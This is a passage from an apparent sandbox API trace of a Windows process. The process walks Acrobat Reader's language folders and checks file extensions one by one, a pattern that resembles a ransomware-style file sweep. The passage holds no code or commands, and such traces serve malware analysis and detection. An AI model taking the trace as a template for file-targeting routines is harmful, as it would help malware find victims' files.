(lpString1=".dqy", lpString2="s.js") returned -1 [0276.439] lstrlenW (lpString=".dsn") returned 4 [0276.440] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0276.440] lstrlenW (lpString=".dt") returned 3 [0276.440] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0276.440] lstrlenW (lpString=".dtd") returned 4 [0276.440] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0276.440] lstrlenW (lpString=".dwg") returned 4 [0276.440] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0276.440] lstrlenW (lpString=".dwt") returned 4 [0276.440] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0276.440] lstrlenW (lpString=".dx") returned 3 [0276.440] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0276.440] lstrlenW (lpString=".dxf") returned 4 [0276.440] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0276.440] lstrlenW (lpString=".edml") returned 5 [0276.440] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0276.440] lstrlenW (lpString=".efd") returned 4 [0276.440] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0276.440] lstrlenW (lpString=".elf") returned 4 [0276.440] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0276.440] lstrlenW (lpString=".emf") returned 4 [0276.440] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0276.440] lstrlenW (lpString=".emz") returned 4 [0276.440] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0276.440] lstrlenW (lpString=".epf") returned 4 [0276.440] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0276.447] lstrlenW (lpString=".eps") returned 4 [0276.447] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0276.447] lstrlenW (lpString=".epsf") returned 5 [0276.447] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0276.447] lstrlenW (lpString=".epsp") returned 5 [0276.447] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0276.447] lstrlenW (lpString=".erf") returned 4 [0276.447] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0276.447] lstrlenW (lpString=".exr") returned 4 [0276.447] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0276.448] FindNextFileW (in: hFindFile=0x3315cb0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf1349964, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x546, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0276.448] FindClose (in: hFindFile=0x3315cb0 | out: hFindFile=0x3315cb0) returned 1 [0276.448] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0276.448] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b2fd8e, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b2fd8e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b2fd8e, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1 [0276.448] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4225da8 [0276.448] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\desktop-connector-files\\js\\nls\\it-it\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b2fd8e, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b2fd8e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b2fd8e, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315830 [0276.449] FindNextFileW (in: hFindFile=0x3315830, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b2fd8e, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b2fd8e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b2fd8e, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0276.449] FindNextFileW (in: hFindFile=0x3315830, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b2fd8e, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b2fd8e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b2fd8e, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x542, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0276.449] FindNextFileW (in: hFindFile=0x3315830, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b2fd8e, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b2fd8e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b2fd8e, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x542, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0276.449] FindClose (in: hFindFile=0x3315830 | out: hFindFile=0x3315830) returned 1 [0276.449] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0276.449] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0276.449] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4225da8 [0276.449] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\desktop-connector-files\\js\\nls\\ja-jp\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315730 [0276.451] FindNextFileW (in: hFindFile=0x3315730, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0276.451] FindNextFileW (in: hFindFile=0x3315730, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x599, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0276.451] FindNextFileW (in: hFindFile=0x3315730, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x599, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0276.451] FindClose (in: hFindFile=0x3315730 | out: hFindFile=0x3315730) returned 1 [0276.451] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0276.451] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1 [0276.451] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4225da8 [0276.451] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\desktop-connector-files\\js\\nls\\ko-kr\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315730 [0276.452] FindNextFileW (in: hFindFile=0x3315730, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0276.453] FindNextFileW (in: hFindFile=0x3315730, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x567, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0276.453] FindNextFileW (in: hFindFile=0x3315730, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x567, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0276.453] FindClose (in: hFindFile=0x3315730 | out: hFindFile=0x3315730) returned 1 [0276.453] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0276.453] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1 [0276.453] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4225da8 [0276.453] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\desktop-connector-files\\js\\nls\\nb-no\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33157f0 [0276.454] FindNextFileW (in: hFindFile=0x33157f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0276.454] FindNextFileW (in: hFindFile=0x33157f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x533, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0276.454] FindNextFileW (in: hFindFile=0x33157f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x533, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0276.454] FindClose (in: hFindFile=0x33157f0 | out: hFindFile=0x33157f0) returned 1 [0276.454] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0276.455] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0276.455] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4225da8 [0276.455] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\desktop-connector-files\\js\\nls\\nl-nl\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33159b0 [0276.455] FindNextFileW (in: hFindFile=0x33159b0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0276.455] FindNextFileW (in: hFindFile=0x33159b0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x560, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0276.455] FindNextFileW (in: hFindFile=0x33159b0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x560, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0276.456] FindClose (in: hFindFile=0x33159b0 | out: hFindFile=0x33159b0) returned 1 [0276.456] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0276.456] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1 [0276.456] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4225da8 [0276.456] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\desktop-connector-files\\js\\nls\\pl-pl\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315bf0 [0276.456] FindNextFileW (in: hFindFile=0x3315bf0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0276.456] FindNextFileW (in: hFindFile=0x3315bf0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x556, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0276.456] FindNextFileW (in: hFindFile=0x3315bf0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x556, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0276.457] FindClose (in: hFindFile=0x3315bf0 | out: hFindFile=0x3315bf0) returned 1 [0276.457] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0276.457] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1 [0276.457] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4225da8 [0276.457] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\desktop-connector-files\\js\\nls\\pt-br\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33157f0 [0276.458] FindNextFileW (in: hFindFile=0x33157f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0276.458] FindNextFileW (in: hFindFile=0x33157f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x53a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0276.458] FindNextFileW (in: hFindFile=0x33157f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x53a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0276.458] FindClose (in: hFindFile=0x33157f0 | out: hFindFile=0x33157f0) returned 1 [0276.459] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0276.459] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b2fd8e, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b2fd8e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b2fd8e, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1 [0276.459] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4225da8 [0276.459] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\desktop-connector-files\\js\\nls\\ro-ro\\*", 